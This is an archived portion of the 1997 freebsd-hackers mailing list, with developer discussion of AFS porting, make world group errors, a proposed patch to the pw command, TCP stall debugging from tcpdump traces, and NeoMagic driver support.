upgrade to 2.2.5-beta. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Tue Oct 7 19:32:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA10958 for hackers-outgoing; Tue, 7 Oct 1997 19:32:19 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from bob.scl.ameslab.gov (bob.scl.ameslab.gov [147.155.137.254]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA10950 for ; Tue, 7 Oct 1997 19:32:16 -0700 (PDT) (envelope-from ccsanady@bob.scl.ameslab.gov) Received: from bob.scl.ameslab.gov (localhost [127.0.0.1]) by bob.scl.ameslab.gov (8.8.7/8.8.5) with ESMTP id VAA00673; Tue, 7 Oct 1997 21:31:36 -0500 (CDT) Message-Id: <199710080231.VAA00673@bob.scl.ameslab.gov> X-Mailer: exmh version 2.0zeta 7/24/97 To: "David E. Cross" cc: Christoph Kukulies , freebsd-hackers@freefall.FreeBSD.org Subject: Re: afs - is there an implementation for FreeBSD? In-reply-to: Your message of "Tue, 07 Oct 1997 09:19:13 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 07 Oct 1997 21:31:36 -0500 From: Chris Csanady Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >On Tue, 7 Oct 1997, Christoph Kukulies wrote: > >> >> As the subject already asks: Is anyone running AFS successfully under >> FreeBSD? > >The last I have heard on this, the answer is no. There was someone >working at Intel on this I think (working unofficially). I would >be interested in taking up the torch on this (through my school, I already >have a source license, I would just need 'permission' from TransARC/IBM to >do the port). If the former maintainer could get back to ne, I would >appreeciate, I have lost his email address. Why not just port the NetBSD client then? Last I used it, it worked very well. Chris >-- >David Cross >ACS Consultant > From owner-freebsd-hackers Tue Oct 7 19:33:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA11066 for hackers-outgoing; Tue, 7 Oct 1997 19:33:59 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA11055 for ; Tue, 7 Oct 1997 19:33:57 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id TAA03305; Tue, 7 Oct 1997 19:22:27 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd003302; Wed Oct 8 02:22:20 1997 Message-ID: <343AEE19.1F567D97@whistle.com> Date: Tue, 07 Oct 1997 19:21:13 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Joerg Wunsch CC: freebsd-hackers@FreeBSD.ORG, mdean Subject: Re: Device Drivers References: <19971008000403.RT08354@uriah.heep.sax.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > > and why does d_maj=-1 in the driver when I would think you need to set it > > to the major of your device. > > Dynamic major # assignment. The ultimate goal once devfs is running > completely, but currently probably not very useful. > It's set when your driver adds the entry into the table. eventually the position in the table will be dynamic, so current code is already acting as if it was. (so we don't have to fix it when it goes dynamic.) From owner-freebsd-hackers Tue Oct 7 19:45:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA11843 for hackers-outgoing; Tue, 7 Oct 1997 19:45:40 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from shell.futuresouth.com (shell.futuresouth.com [207.141.254.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA11833 for ; Tue, 7 Oct 1997 19:45:36 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [207.141.254.21]) by shell.futuresouth.com (8.8.5/8.8.5) with SMTP id VAA09694 for ; Tue, 7 Oct 1997 21:45:35 -0500 (CDT) Date: Tue, 7 Oct 1997 21:45:35 -0500 (CDT) From: "Matthew D. Fuller" To: hackers@freebsd.org Subject: group assignments from make world. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'll start by mentioning that this may well belong better on the -STABLE list, but I thought I'd bounce this off y'all first... Just last night I started a make world on 2.2-STABLE (cvsup'd about a half hour before I started; maybe 1am?), and I woke up to find that it had croaked during the install portion. This happened on both ppp and slip; it was set top install them with owner root and group network. Now, my machine doesn't HAVE a group network; I've never seen it; ppp and slip were always root.bin, and I changed the Makefiles in both respective directories to make them group bin. What I want to know is, is this an oversight, bug, or feature? Here's a kinda unrelated thought. Would it be a good idea to put a line in the Makefile for make world to have it automatically script to a file for logging purposes? Prob not, but it's a thought... *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * FreeBSD: turning PCs into workstations * | Windows: turning workstations into typewriters | * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* From owner-freebsd-hackers Tue Oct 7 19:58:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA12615 for hackers-outgoing; Tue, 7 Oct 1997 19:58:25 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from CU-SeeMe.educ.utas.edu.au (cu-seeme.educ.utas.edu.au [144.6.16.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA12600 for ; Tue, 7 Oct 1997 19:58:12 -0700 (PDT) (envelope-from brook@CU-SeeMe.educ.utas.edu.au) Received: from localhost (brook@localhost) by CU-SeeMe.educ.utas.edu.au (8.8.5/8.8.5) with SMTP id NAA06023 for ; Wed, 8 Oct 1997 13:59:47 +1100 (EST) Date: Wed, 8 Oct 1997 13:59:46 +1100 (EST) From: Brook Schofield To: freebsd-hackers@freebsd.org Subject: Modification to the `pw' command Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk #This is a modification to the `pw' command that I have made to allow the #enabling, disabling and setting of an encrypted password on the command #line. Comments, bugs... security problems please! #Brook diff -c -r pw/README pw.new/README *** pw/README Tue Dec 10 01:05:35 1996 --- pw.new/README Sun Sep 28 17:40:45 1997 *************** *** 20,22 **** --- 20,23 ---- $Id: README,v 1.1.1.1 1996/12/09 14:05:35 joerg Exp $ + Modifications to the `pw' command by Brook Schofiled include the `-W' command which allows the command line enabling, disabling and changing of passwords (in encrypted form). 19970928 diff -c -r pw/pw.8 pw.new/pw.8 *** pw/pw.8 Thu Mar 6 16:34:43 1997 --- pw.new/pw.8 Sun Sep 28 17:33:43 1997 *************** *** 22,30 **** .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" ! .\" $Id: pw.8,v 1.1.1.1.2.3 1997/03/06 05:34:43 mpp Exp $ .\" ! .Dd December 9, 1996 .Dt PW 8 .Os .Sh NAME --- 22,30 ---- .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" ! .\" $Id: pw.8,v 1.1.1.1.2.3 1997/09/28 05:34:43 mpp Exp $ .\" ! .Dd September 28, 1997 .Dt PW 8 .Os .Sh NAME *************** *** 52,57 **** --- 52,58 ---- .Op Fl h Ar fd .Op Fl N .Op Fl P + .Op Fl W Ar enc_pass .Nm pw .Ar useradd .Op name|uid *************** *** 96,101 **** --- 97,103 ---- .Op Fl h Ar fd .Op Fl N .Op Fl P + .Op Fl W Ar enc_pass .Nm pw .Ar usershow .Op name|uid *************** *** 120,125 **** --- 122,128 ---- .Op Fl h Ar fd .Op Fl N .Op Fl P + .Op Fl W Ar enc_pass .Nm pw .Ar groupdel .Op Fl n Ar name *************** *** 137,142 **** --- 140,146 ---- .Op Fl h Ar fd .Op Fl N .Op Fl P + .Op Fl W Ar enc_pass .Nm pw .Ar groupshow .Op Fl n Ar name *************** *** 429,434 **** --- 433,462 ---- then the password will be set to .Ql \&* , rendering the account inaccessible via passworded login. + .It Fl W Ar enc_pass + The + .Ql Fl w + option sets or modifies the value of the password for the account. The + .Ar enc_pass + is one of: + .Pp + .Bl -tag -width enc_pass -offset indent -compact + .It \&- + disables the account by prepending an + .Ql \&* + to the password. + .It \&+ + enables the account by removing an + .Ql \&* + from the password. + .It enc_pass + changes password entry to supplied string. The string + .Ar enc_pass + must already be encrypted with the + .Ar crypt() + function for the password to operate correctly. + .El + .Pp .El .Pp It is possible to use *************** *** 787,793 **** .Xr pw.conf 5 , .Xr pwd_mkdb 8 , .Xr login.conf 5 , ! .Xr vipw 8 .Sh HISTORY .Nm pw was written to mimic many of the options used in the SYSV --- 815,822 ---- .Xr pw.conf 5 , .Xr pwd_mkdb 8 , .Xr login.conf 5 , ! .Xr vipw 8 , ! .Xr crypt 3 .Sh HISTORY .Nm pw was written to mimic many of the options used in the SYSV *************** *** 797,799 **** --- 826,833 ---- .Bx 4.4 operating system, and combines all of the major elements into a single command. + .Nm pw + has been modified to allow the command line enabling, disabling and setting of + the password field using the + .Fl W + command. diff -c -r pw/pw.c pw.new/pw.c *** pw/pw.c Fri Feb 7 22:21:45 1997 --- pw.new/pw.c Sun Sep 28 17:51:26 1997 *************** *** 58,73 **** static const char *opts[W_NUM][M_NUM] = { { /* user */ ! "C:qn:u:c:d:e:p:g:G:mk:s:oL:i:w:h:Db:NP", "C:qn:u:r", ! "C:qn:u:c:d:e:l:p:g:G:mk:s:w:L:h:FNP", "C:qn:u:FPa", "C:q" }, { /* grp */ ! "C:qn:g:h:M:pNP", "C:qn:g:", ! "C:qn:g:l:h:FM:m:NP", "C:qn:g:FPa", "C:q" } --- 58,73 ---- static const char *opts[W_NUM][M_NUM] = { { /* user */ ! "C:qn:u:c:d:e:p:g:G:mk:s:oL:i:w:W:h:Db:NP", "C:qn:u:r", ! "C:qn:u:c:d:e:l:p:g:G:mk:s:w:W:L:h:FNP", "C:qn:u:FPa", "C:q" }, { /* grp */ ! "C:qn:g:h:W:M:pNP", "C:qn:g:", ! "C:qn:g:l:h:W:FM:m:NP", "C:qn:g:FPa", "C:q" } *************** *** 226,231 **** --- 226,232 ---- "\t-L class user class\n" "\t-h fd read password on fd\n" "\t-N no update\n" + "\t-W enc_pass modified or encrypted password\n" " Setting defaults:\n" "\t-D set user defaults\n" "\t-b dir default home root dir\n" *************** *** 262,267 **** --- 263,269 ---- "\t-w method set new password using method\n" "\t-h fd read password on fd\n" "\t-N no update\n", + "\t-W enc_pass modified or encrypted password\n" "usage: %s usershow [uid|name] [switches]\n" "\t-n name login name\n" "\t-u uid user id\n" diff -c -r pw/pw_user.c pw.new/pw_user.c *** pw/pw_user.c Fri Feb 7 22:21:46 1997 --- pw.new/pw_user.c Sun Sep 28 18:15:16 1997 *************** *** 427,433 **** fprintf(stderr, "WARNING: home `%s' is not a directory\n", pwd->pw_dir); } ! if ((arg = getarg(args, 'w')) != NULL && getarg(args, 'h') == NULL) pwd->pw_passwd = pw_password(cnf, args, pwd->pw_name); } else { --- 427,433 ---- fprintf(stderr, "WARNING: home `%s' is not a directory\n", pwd->pw_dir); } ! if (getarg(args,'W') != NULL && (arg = getarg(args, 'w')) != NULL && getarg(args, 'h') == NULL) pwd->pw_passwd = pw_password(cnf, args, pwd->pw_name); } else { *************** *** 457,462 **** --- 457,518 ---- /* * Shared add/edit code */ + if ((arg = getarg(args, 'W')) != NULL) { + /* All New Stuff Added by Brook! + * Modified by Brook Schofield 19970928A + * + * This new code suppliments the code for the -h & -w commands + * that the pw command uses to read from a file handle and generate + * a password. This code reads the password or options from the + * command line and either enables (+ option), disables (- option) + * or enters a password directly into the password database. + * This code if functionally equivalent to that of -h & -w and + * as expected without removing the security of the original `pw' code. + */ + + if (strcmp(arg->val, "-") == 0) { /* option `-W -' used */ + if (strncmp(pwd->pw_passwd, "*", 1) == 0) { /* test to see if account is disabled */ + if (mode == M_ADD) { /* option `adduser' used */ + pwd->pw_passwd = "*"; /* set password to `*' if -W specified during `adduser' */ + } else { + return EXIT_SUCCESS; /* return success as account is already disabled */ + } + } else { + strcpy(line,"*"); /* disable account by prepending an `*' */ + strcat(line,pwd->pw_passwd); /* to the start of the password entry */ + pwd->pw_passwd = line; /* store modified password */ + } + } else if (strcmp(arg->val, "+") == 0) { /* option `-W +' used */ + int i; + if (strncmp(pwd->pw_passwd, "*", 1) == 0) { /* test to see if accout is disabled */ + for(i = 1; pwd->pw_passwd[i] != '\0'; i++) { + line[i-1] = pwd->pw_passwd[i]; /* transfer all but first character to new passwd */ + } + line[i-1] = '\0'; /* terminate the password string */ + pwd->pw_passwd = line; /* store modified password */ + } else { + if (mode == M_ADD) { /* option `adduser' used */ + pwd->pw_passwd = "*"; /* set password to `*' if -W specified during `adduser' */ + } else { + return EXIT_SUCCESS; /* return success as account is enabled */ + } + } + } else { + int i; /* if an encrypted password was specified on the command line */ + if (strchr(arg->val,':')) /* check to see if the password contains invalid characters */ + cmderr(EX_DATAERR, "password contains invalid character"); + /* EX_DATAERR password contains invalid character */ + + for(i = 0; arg->val[i] != '\0'; i++) { /* checks for the occurrance of non-printing characters including spaces */ + if (!isgraph(arg->val[i])) /* uses isgraph(c) from */ + cmderr(EX_DATAERR, "password contains non-printing character"); + } /* the password should only contain `0-9a-zA-Z$.' other characters are */ + /* allowed by wouldn't be useful and would make the account disabled */ + + pwd->pw_passwd = arg->val; /* enter specified password as the new encrypted password */ + } + } + if ((arg = getarg(args, 'c')) != NULL) pwd->pw_gecos = pw_checkname((u_char*)arg->val, 1); From owner-freebsd-hackers Tue Oct 7 20:11:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA13482 for hackers-outgoing; Tue, 7 Oct 1997 20:11:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA13476 for ; Tue, 7 Oct 1997 20:11:27 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA09109; Wed, 8 Oct 1997 12:41:02 +0930 (CST) Message-ID: <19971008124102.17436@lemis.com> Date: Wed, 8 Oct 1997 12:41:02 +0930 From: Greg Lehey To: Joao Carlos Mendes Luis Cc: hackers@FreeBSD.ORG Subject: Re: TCP problem References: <199710080122.XAA00461@gaia.coppe.ufrj.br> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.84e In-Reply-To: <199710080122.XAA00461@gaia.coppe.ufrj.br>; from Joao Carlos Mendes Luis on Tue, Oct 07, 1997 at 11:22:56PM -0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, Oct 07, 1997 at 11:22:56PM -0200, Joao Carlos Mendes Luis wrote: > Hi, > > I have an intermitent TCP problem between a FreeBSD 2.2-STABLE and a > 2.0.27 Linux. It's happening right now, let me show an example: > > 146.164.5.200 - FreeBSD > 146.164.53.91 - Linux > > gaia::root [530] telnet 146.164.53.91 chargen > Trying 146.164.53.91... > Connected to gta.ufrj.br. > Escape character is '^]'. > !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg > !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgh > "#$%&'()*+,-./01^]quit > > telnet> quit > Connection closed. > > > In the above connection, telnet stops completely after some output. > Here's the tcpdump output I've run in another window: > > gaia::root [544] tcpdump -pvn host 146.164.53.91 and port chargen > tcpdump: listening on de0 > 22:49:35.574865 146.164.5.200.2038 > 146.164.53.91.19: S 1153321686:1153321686(0) win 65535 (DF) [tos 0x10] (ttl 64, id 38631) > 22:49:35.576498 146.164.53.91.19 > 146.164.5.200.2038: S 2381730138:2381730138(0) ack 1153321687 win 31744 (ttl 63, id 13086) > 22:49:35.576825 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [tos 0x10] (ttl 64, id 38632) > 22:49:35.614489 146.164.53.91.19 > 146.164.5.200.2038: P 1:75(74) ack 1 win 31744 (DF) [tos 0x10] (ttl 63, id 13088) > 22:49:35.804015 146.164.5.200.2038 > 146.164.53.91.19: . ack 75 win 90 (DF) [tos 0x10] (ttl 64, id 38638) > 22:49:36.646712 146.164.53.91.19 > 146.164.5.200.2038: P 75:165(90) ack 1 win 31744 [tos 0x10] (ttl 63, id 13091) > 22:49:36.804033 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38646) > 22:49:38.496284 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13096) > 22:49:38.496584 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38660) > 22:49:41.896328 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13098) > 22:49:41.896640 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38673) > 22:49:48.696422 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13105) > 22:49:48.696692 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38729) > 22:50:02.296514 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13163) > 22:50:02.296814 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38844) > ^C > 1385 packets received by filter > 0 packets dropped by kernel > > > And here, the output on the remote machine: > > recreio::root [281] tcpdump -pvn host 146.164.5.200 and port chargen > tcpdump: listening on eth0 > 22:47:16.565018 146.164.5.200.2038 > 146.164.53.91.19: S 1153321686:1153321686(0) win 65535 (DF) [tos 0x10] (ttl 63, id 38631) > 22:47:16.565018 146.164.53.91.19 > 146.164.5.200.2038: S 2381730138:2381730138(0) ack 1153321687 win 31744 (ttl 64, id 13086) > 22:47:16.565018 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [tos 0x10] (ttl 63, id 38632) > 22:47:16.595018 146.164.53.91.19 > 146.164.5.200.2038: P 1:75(74) ack 1 win 31744 (DF) [tos 0x10] (ttl 64, id 13088) > 22:47:16.785018 146.164.5.200.2038 > 146.164.53.91.19: . ack 75 win 90 (DF) [tos 0x10] (ttl 63, id 38638) > 22:47:17.635018 146.164.53.91.19 > 146.164.5.200.2038: P 75:165(90) ack 1 win 31744 [tos 0x10] (ttl 64, id 13091) > 22:47:17.785018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38646) > 22:47:19.485018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13096) > 22:47:19.485018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38660) > 22:47:22.885018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13098) > 22:47:22.885018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38673) > 22:47:29.685018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13105) > 22:47:29.685018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38729) > 22:47:43.285018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13163) > 22:47:43.285018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38844) > > 15 packets received by filter > 0 packets dropped by kernel > > As you can see, the connection is in a loop, trying to exchange > data, Well, it's retrying, and will probably time out and close the connection after about 10 minutes. > but there's a problem somewhere. The very strange thing is that's > intermitent. Most of the time it works perfectly. > > Also curious, the chargen always stops at the same char. The 01? > I have no problem connecting from/to other machines to/from both of these. Is this just a problem with a single connection, or with all communication between the two machines? Are there other machines on the net? If so, how do they communicate with these two machines? > Rebooting the Linux machine does not solve the problem, but rebooting the > FreeBSD one does solve, so I think it's a FreeBSD problem. Any suggestions ? The traces show that the machine with the trouble is IP 146.164.53.91. The dumps on both sides show 146.164.53.91 retrying an ack, and 146.164.53.200 responding to it immediately. To get the sequence straight, look at the timestamps: > 22:47:22.885018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13098) > 22:47:22.885018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38673) Interesting. This is the Linux box, and it claims a response in 0 µs. In fact, since the last 4 digits of the timestamp are always 5018, I assume that it can't resolve more than .01 s. Since the tcpdump on the Linux side shows the data going in, I can only imagine it's a bug in the Linux TCP/IP stack. So why does it recover when you reboot the FreeBSD machine? Probably a connection reset when the machine comes up. It should also recover if you reboot the Linux box, and possibly if you take the interface down and up again. Greg From owner-freebsd-hackers Tue Oct 7 20:33:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA14662 for hackers-outgoing; Tue, 7 Oct 1997 20:33:47 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from onyx.atipa.com (user20046@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id UAA14657 for ; Tue, 7 Oct 1997 20:33:43 -0700 (PDT) (envelope-from freebsd@atipa.com) Received: (qmail-queue invoked by uid 1018); 8 Oct 1997 03:38:18 -0000 Date: Tue, 7 Oct 1997 21:38:18 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: "Jordan K. Hubbard" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <5361.876213747@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > ...so if we wanted to draw some nifty insect > analogies for massive distributed parallelism then I guess we could > call such a cluster a "FreeBSD plague", or "a plague of FreeBSD > machines." This would lead in turn to some pretty nifty sound bites, > such as "Got plague?" or "The FreeBSD plague: Catch it today!" > Yeah, I like it! It's got legs, gents! Let's do it!! Let's... > What? I should stick to engineering, you say? But it's so *catchy*, > I mean, haha, consider just the pun opportunities! No? Well fine, be > that way then! [*sulk*] My favorite quote from English class: "Avoid cliche's like the Plague..." Kevin From owner-freebsd-hackers Tue Oct 7 20:52:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA15598 for hackers-outgoing; Tue, 7 Oct 1997 20:52:39 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA15587 for ; Tue, 7 Oct 1997 20:52:33 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id NAA00569; Wed, 8 Oct 1997 13:19:35 +0930 (CST) Message-Id: <199710080349.NAA00569@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: hcremean@vt.edu cc: Greg Lehey , hackers@FreeBSD.ORG Subject: Re: NeoMagic support (was: Re: IrDA) In-reply-to: Your message of "Mon, 06 Oct 1997 22:48:20 -0400." <19971006224820.14366@wakky.dyn.ml.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Oct 1997 13:19:33 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Tue, Oct 07, 1997 at 11:18:45AM +0930, Greg Lehey wrote: > > Not directly relevant, but do you know that the graphics chipset > > (NeoMagic) isn't supported? > > THis prolly isn't the place to ask, but does XFree86 expect to have any > NeoMagic support soon? A friend of mine had to suffer through an X install > on one of these, only to find out it wasn't supported... You're right, it's not. The short answer is "No"; quoting from NeoMagic's website: Linux/Unix/X-Windows: Please contact Xi Graphics for X drivers at . NeoMagic does not support Unix drivers, and cannot provide device/programming information to end-users. I'll give them a few points for referencing Xi, but basically they're making the old stupid mistake of thinking that being proprietary will help them in some way. mike From owner-freebsd-hackers Tue Oct 7 21:04:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA15970 for hackers-outgoing; Tue, 7 Oct 1997 21:04:09 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA15965 for ; Tue, 7 Oct 1997 21:04:02 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id VAA16407; Tue, 7 Oct 1997 21:05:48 -0700 (PDT) Message-Id: <199710080405.VAA16407@implode.root.com> To: Joao Carlos Mendes Luis cc: hackers@FreeBSD.ORG Subject: Re: TCP problem In-reply-to: Your message of "Tue, 07 Oct 1997 23:22:56 -0200." <199710080122.XAA00461@gaia.coppe.ufrj.br> From: David Greenman Reply-To: dg@root.com Date: Tue, 07 Oct 1997 21:05:48 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I have an intermitent TCP problem between a FreeBSD 2.2-STABLE and a >2.0.27 Linux. It's happening right now, let me show an example: ... >22:49:36.804033 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38646) This indicates that the window has completely closed and isn't reopening. What type of ethernet card is in the FreeBSD machine? This might indicate that the machine has run out of network buffers...does the console indicate anything (like "Out of mbuf clusters")? -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Tue Oct 7 21:06:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA16160 for hackers-outgoing; Tue, 7 Oct 1997 21:06:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA16136 for ; Tue, 7 Oct 1997 21:06:33 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xInO8-0003ux-00; Tue, 7 Oct 1997 22:06:20 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id WAA07668; Tue, 7 Oct 1997 22:06:13 -0600 (MDT) Message-Id: <199710080406.WAA07668@harmony.village.org> To: "Matthew D. Fuller" Subject: Re: group assignments from make world. Cc: hackers@freebsd.org In-reply-to: Your message of "Tue, 07 Oct 1997 21:45:35 CDT." References: Date: Tue, 07 Oct 1997 22:06:13 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message "Matthew D. Fuller" writes: : directories to make them group bin. What I want to know is, is this an : oversight, bug, or feature? Feature. Just add it to your /etc/group file and then do a make installworld. Life should be good then. Warner From owner-freebsd-hackers Tue Oct 7 21:35:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA17846 for hackers-outgoing; Tue, 7 Oct 1997 21:35:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA17832 for ; Tue, 7 Oct 1997 21:35:29 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id VAA22651; Tue, 7 Oct 1997 21:34:35 -0700 (PDT) To: "Matthew D. Fuller" cc: hackers@FreeBSD.ORG Subject: Re: group assignments from make world. In-reply-to: Your message of "Tue, 07 Oct 1997 21:45:35 CDT." Date: Tue, 07 Oct 1997 21:34:34 -0700 Message-ID: <22646.876285274@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org 